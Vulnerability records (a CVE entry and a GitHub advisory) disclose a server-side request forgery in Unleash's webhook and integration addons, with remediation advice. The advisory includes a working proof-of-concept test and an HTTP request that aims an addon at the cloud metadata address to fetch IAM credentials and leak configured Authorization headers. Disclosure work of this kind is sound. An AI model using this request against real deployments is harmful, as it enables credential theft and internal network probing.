{
  "affected": [
    {
      "affectedData": [
        {
          "product": "unleash",
          "vendor": "Unleash",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.5.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.6.0, \u003c 7.6.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.0.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Unleash is an open-source feature management platform. Prior to 7.5.2, 7.6.5, and 8.0.2, the addon and integration subsystem passes the operator-controlled parameters.url value from src/lib/addons/webhook.ts and the Slack, Microsoft Teams, Datadog, and New Relic integrations to Addon.fetchRetry in src/lib/addons/addon.ts without restricting loopback, link-local, private, or cloud metadata addresses. An authenticated actor with the root CREATE_ADDON or UPDATE_ADDON permission can cause the server to send requests from inside its network boundary, use integration event status as a blind probing oracle, forward Authorization, customHeaders, or DD-API-KEY values to an attacker-observed host, and deliver the feature-event JSON body to internal services. This issue is fixed in versions 7.5.2, 7.6.5, and 8.0.2."
    }
  ],
  "id": "CVE-2026-63004",
  "lastModified": "2026-08-21T20:16:38.963",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-63004",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-21T19:22:12.627244Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-21T19:17:30.550",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/commit/2100db76af3473f13e6fb40096cf17a9c2b741a1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/commit/d45f99df924c0d24747b3e45e46fcda7dcd3c1c1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/commit/d862562a5ab8f2d1e40f6519c64cf0b4fdaf806d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.5.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.6.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/releases/tag/v8.0.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5vf6-jrqr-78fj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5vf6-jrqr-78fj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.6.0"
            },
            {
              "fixed": "7.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T19:14:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nUnleash\u0027s addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target `url` parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon\u0027s `parameters.url` and passed straight to the HTTP client (`ky`) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL \u2014 for example `http://169.254.169.254/latest/meta-data/\u2026` (cloud IMDS), `http://127.0.0.1:\u003cport\u003e/\u2026` (a service bound to localhost), or any RFC1918 host \u2014 and cause the Unleash server to dial it from inside the trust boundary.\n\nThe request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured `Authorization` header and arbitrary `customHeaders` to whatever host the `url` points at (Datadog forwards `DD-API-KEY`), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.\n\nCreating/updating addons is gated by the root permissions `CREATE_ADDON` / `UPDATE_ADDON`. These are not the super-admin `ADMIN` permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.\n\n## Affected code (v8.0.0)\n\nThe base addon issues the outbound request with the raw URL and no host checks (`src/lib/addons/addon.ts`):\n\n```ts\nasync fetchRetry(\n    url: string,\n    options: any = {},\n    retries: number = 1,\n): Promise\u003cResponse\u003e {\n    try {\n        const res = await ky(url, {            // \u003c-- attacker-controlled `url`, no allow/deny-list, no internal-IP block\n            retry: retries,\n            ...options,\n        });\n        return res;\n    } catch (e) {\n        const { method } = options;\n        this.logger.warn(`Error querying ${url} ...`, e);\n        return { status: e.code, ok: false } as Response;\n    }\n}\n```\n\nThe webhook provider passes the operator-supplied `parameters.url` (and forwards `authorization` + `customHeaders`) directly into that sink (`src/lib/addons/webhook.ts`):\n\n```ts\nconst { url, bodyTemplate, contentType = \u0027application/json\u0027, authorization, customHeaders } = parameters;\n// ...\nconst requestOpts = {\n    method: \u0027POST\u0027,\n    headers: {\n        \u0027Content-Type\u0027: contentType,\n        Authorization: authorization || undefined,   // \u003c-- configured secret forwarded to `url`\n        ...extraHeaders,                              // \u003c-- arbitrary customHeaders forwarded to `url`\n    },\n    body,\n};\nconst res = await this.fetchRetry(url, requestOpts); // \u003c-- server dials attacker-chosen host\n```\n\nThe service layer performs no URL/host validation when creating or updating an addon \u2014 only provider-name and required-parameter presence checks run (`src/lib/services/addon-service.ts` \u2192 `validateKnownProvider`, `validateRequiredParameters`). The addon parameter schema (`src/lib/services/addon-schema.ts`) treats `url` as a free-form string; the `type: \u0027url\u0027` field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of `src/lib/addons` and `addon-service.ts` for `169.254`, `127.0`, `localhost`, `private`, `ssrf`, `isAllowed`, `validateUrl` returns zero guards. The same unguarded `fetchRetry(url, \u2026)` sink backs the Slack, Teams, Datadog, and New Relic providers.\n\nThe route gate (`src/lib/routes/admin-api/addon.ts`) requires the root permission `CREATE_ADDON` (create) / `UPDATE_ADDON` (update); `src/lib/types/permissions.ts` lists both under the root \"Integration\" category \u2014 they are root permissions, not project-scoped, and distinct from `ADMIN`.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user (or an admin API token) holding the root permission `CREATE_ADDON` or `UPDATE_ADDON`. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with `parameters.url` set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag \u2014 trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.\n\n## Impact\n\nThe Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter \u2014 i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (`169.254.169.254`) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured `Authorization` header and any `customHeaders` (and, for the Datadog provider, the `DD-API-KEY`) to the attacker-chosen host, since those headers are sent to whatever `url` is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority \u2014 the internal network / metadata service.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nThis PoC drives the **real** `WebhookAddon.handleEvent` from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured `Authorization` and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy \u2014 internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.\n\n### Setup\n\n```bash\n# In a throwaway clone of the target at the exact tag:\ngit clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash\ncd unleash\n# Install JS deps (no database is needed for this PoC):\ncorepack pnpm install --prefer-offline\n```\n\n### File 1 \u2014 `vitest.poc.config.ts` (project root)\n\nThe repo\u0027s default vitest config has a Postgres `globalSetup`; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.\n\n```ts\nimport { defineConfig, configDefaults } from \u0027vitest/config\u0027;\n\n// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup,\n// because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed).\nexport default defineConfig({\n    test: {\n        globals: true,\n        setupFiles: [\u0027./src/test/errorWithMessage.ts\u0027],\n        testTimeout: 30000,\n        exclude: [...configDefaults.exclude, \u0027frontend/**\u0027, \u0027dist/**\u0027],\n        environment: \u0027node\u0027,\n    },\n});\n```\n\n### File 2 \u2014 `src/lib/addons/ssrf-poc.test.ts`\n\n```ts\n// PoC: SSRF via Webhook addon \u2014 Unleash v8.0.0\n// Drives the REAL WebhookAddon.handleEvent with an attacker-chosen `url`\n// pointing at a loopback/RFC1918 listener; proves the Unleash process dials\n// the internal URL with NO host/IP filtering. Lab-only (127.0.0.1).\nimport { FEATURE_CREATED, type IEvent } from \u0027../events/index.js\u0027;\nimport WebhookAddon from \u0027./webhook.js\u0027;\nimport noLogger from \u0027../../test/fixtures/no-logger.js\u0027;\nimport {\n    type IAddonConfig,\n    type IFlagKey,\n    type IFlagResolver,\n    SYSTEM_USER_ID,\n} from \u0027../types/index.js\u0027;\nimport type { IntegrationEventsService } from \u0027../services/index.js\u0027;\nimport { vi } from \u0027vitest\u0027;\nimport EventEmitter from \u0027node:events\u0027;\nimport http from \u0027node:http\u0027;\nimport { AddressInfo } from \u0027node:net\u0027;\n\nconst INTEGRATION_ID = 1337;\n\nconst setup = () =\u003e {\n    const registerEventMock = vi.fn();\n    const addonConfig: IAddonConfig = {\n        getLogger: noLogger,\n        unleashUrl: \u0027http://some-url.com\u0027,\n        integrationEventsService: {\n            registerEvent: registerEventMock,\n        } as unknown as IntegrationEventsService,\n        flagResolver: {\n            isEnabled: (_expName: IFlagKey) =\u003e false,\n        } as IFlagResolver,\n        eventBus: new EventEmitter(),\n    };\n    return { addon: new WebhookAddon(addonConfig), registerEventMock };\n};\n\nconst sampleEvent: IEvent = {\n    id: 1,\n    createdAt: new Date(),\n    createdByUserId: SYSTEM_USER_ID,\n    type: FEATURE_CREATED,\n    createdBy: \u0027attacker@evil.com\u0027,\n    featureName: \u0027some-toggle\u0027,\n    data: { name: \u0027some-toggle\u0027 },\n    tags: [],\n    project: \u0027default\u0027,\n    environment: \u0027production\u0027,\n};\n\n// Stand up a fake \"internal service\" on loopback that records what reached it.\nfunction startInternalListener(): Promise\u003c{\n    url: string;\n    hits: Array\u003c{ path: string; auth?: string; secret?: string; body: string }\u003e;\n    close: () =\u003e Promise\u003cvoid\u003e;\n}\u003e {\n    const hits: Array\u003c{\n        path: string;\n        auth?: string;\n        secret?: string;\n        body: string;\n    }\u003e = [];\n    return new Promise((resolve) =\u003e {\n        const server = http.createServer((req, res) =\u003e {\n            let body = \u0027\u0027;\n            req.on(\u0027data\u0027, (c) =\u003e (body += c));\n            req.on(\u0027end\u0027, () =\u003e {\n                hits.push({\n                    path: req.url || \u0027\u0027,\n                    auth: req.headers[\u0027authorization\u0027] as string | undefined,\n                    secret: req.headers[\u0027x-internal-secret\u0027] as\n                        | string\n                        | undefined,\n                    body,\n                });\n                // emulate a cloud metadata / internal endpoint reply\n                res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n                res.end(\u0027iam-role-credentials-here\u0027);\n            });\n        });\n        server.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n            const { port } = server.address() as AddressInfo;\n            resolve({\n                url: `http://127.0.0.1:${port}`,\n                hits,\n                close: () =\u003e\n                    new Promise((r) =\u003e server.close(() =\u003e r(undefined))),\n            });\n        });\n    });\n}\n\ndescribe(\u0027SSRF via Webhook addon (Unleash v8.0.0)\u0027, () =\u003e {\n    test(\u0027server dials an attacker-chosen INTERNAL url with NO filtering\u0027, async () =\u003e {\n        const internal = await startInternalListener();\n        try {\n            const { addon, registerEventMock } = setup();\n\n            // The `url` below is exactly what an operator/role-holder supplies\n            // as the addon `parameters.url`. It is an internal loopback target;\n            // a real attacker would use http://169.254.169.254/latest/... or an\n            // internal service. There is NO allow/deny-list in the addon path.\n            await addon.handleEvent(\n                sampleEvent,\n                {\n                    url: `${internal.url}/latest/meta-data/iam/security-credentials/`,\n                    // operator-configured secrets get forwarded to the chosen host:\n                    authorization: \u0027Bearer operator-webhook-secret\u0027,\n                    customHeaders: JSON.stringify({\n                        \u0027X-Internal-Secret\u0027: \u0027leaked-to-internal-host\u0027,\n                    }),\n                },\n                INTEGRATION_ID,\n            );\n\n            // PROOF 1: the Unleash process actually connected to the internal URL.\n            expect(internal.hits.length).toBe(1);\n            expect(internal.hits[0].path).toBe(\n                \u0027/latest/meta-data/iam/security-credentials/\u0027,\n            );\n            // PROOF 2: operator-configured credentials were exfiltrated to the\n            // attacker-chosen internal host (header leakage).\n            expect(internal.hits[0].auth).toBe(\u0027Bearer operator-webhook-secret\u0027);\n            expect(internal.hits[0].secret).toBe(\u0027leaked-to-internal-host\u0027);\n            // PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF).\n            const recorded = registerEventMock.mock.calls[0][0];\n            expect(recorded.state).toBe(\u0027success\u0027);\n            expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n\n            // eslint-disable-next-line no-console\n            console.log(\n                \u0027[PoC] SSRF confirmed -\u003e internal hit:\u0027,\n                JSON.stringify(internal.hits[0]),\n            );\n        } finally {\n            await internal.close();\n        }\n    });\n\n    test(\u0027NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\u0027, async () =\u003e {\n        const { addon, registerEventMock } = setup();\n        // Point at a closed loopback port. If a real SSRF allow/deny-list existed,\n        // the addon would refuse internal targets BEFORE dialing. Instead it dials\n        // and only fails at the TCP layer -\u003e proves absence of any URL guard.\n        await addon.handleEvent(\n            sampleEvent,\n            { url: \u0027http://127.0.0.1:1/\" \u0027 },\n            INTEGRATION_ID,\n        );\n        const recorded = registerEventMock.mock.calls[0][0];\n        // It attempted the request (state failed due to connection error), it was\n        // NOT blocked by a policy. The recorded url is the internal target.\n        expect([\u0027failed\u0027, \u0027success\u0027]).toContain(recorded.state);\n        expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n    });\n});\n```\n\n### Run\n\n```bash\nnpx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts\n```\n\n### Observed output (real run against v8.0.0)\n\n```\n RUN  v4.1.5\n\nstdout | src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n[PoC] SSRF confirmed -\u003e internal hit: {\"path\":\"/latest/meta-data/iam/security-credentials/\",\"auth\":\"Bearer operator-webhook-secret\",\"secret\":\"leaked-to-internal-host\",\"body\":\"{\\\"id\\\":1, ... \\\"type\\\":\\\"feature-created\\\", ... }\"}\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\n\n Test Files  1 passed (1)\n      Tests  2 passed (2)\n```\n\nThe internal loopback listener received the request (`path` = the metadata path), with the configured `Authorization: Bearer operator-webhook-secret` and `X-Internal-Secret: leaked-to-internal-host` headers, and the addon recorded the call as a success \u2014 confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: `POST /api/admin/addons` with `{ \"provider\":\"webhook\", \"enabled\":true, \"events\":[\"feature-created\"], \"parameters\":{ \"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\", \"authorization\":\"\u2026\" } }` (requires `CREATE_ADDON`), then create any feature flag to trigger the outbound request.\n\n## Remediation\n\nValidate the addon `url` server-side before it is ever dialed, both at create/update time (`addon-service.ts`) and again at request time (`addon.ts` `fetchRetry`). Specifically: require `http`/`https` only; resolve the hostname and reject the request if any resolved address is loopback (`127.0.0.0/8`, `::1`), link-local (`169.254.0.0/16`, `fe80::/10`, including the `169.254.169.254`/`fd00:ec2::254` metadata addresses), private (`10/8`, `172.16/12`, `192.168/16`, `fc00::/7`), or otherwise non-public \u2014 using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a `30x` cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on `Addon.fetchRetry` (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured `Authorization`/`customHeaders` to non-allow-listed hosts to contain credential leakage.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "id": "GHSA-5vf6-jrqr-78fj",
  "modified": "2026-08-21T19:14:45Z",
  "published": "2026-08-21T19:14:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5vf6-jrqr-78fj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/2100db76af3473f13e6fb40096cf17a9c2b741a1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/d45f99df924c0d24747b3e45e46fcda7dcd3c1c1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/d862562a5ab8f2d1e40f6519c64cf0b4fdaf806d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unleash/unleash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.6.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unleash: Addon webhook URL is dialed server-side with no internal-address filtering, enabling SSRF to internal services / cloud metadata and exfiltration of configured request headers"
}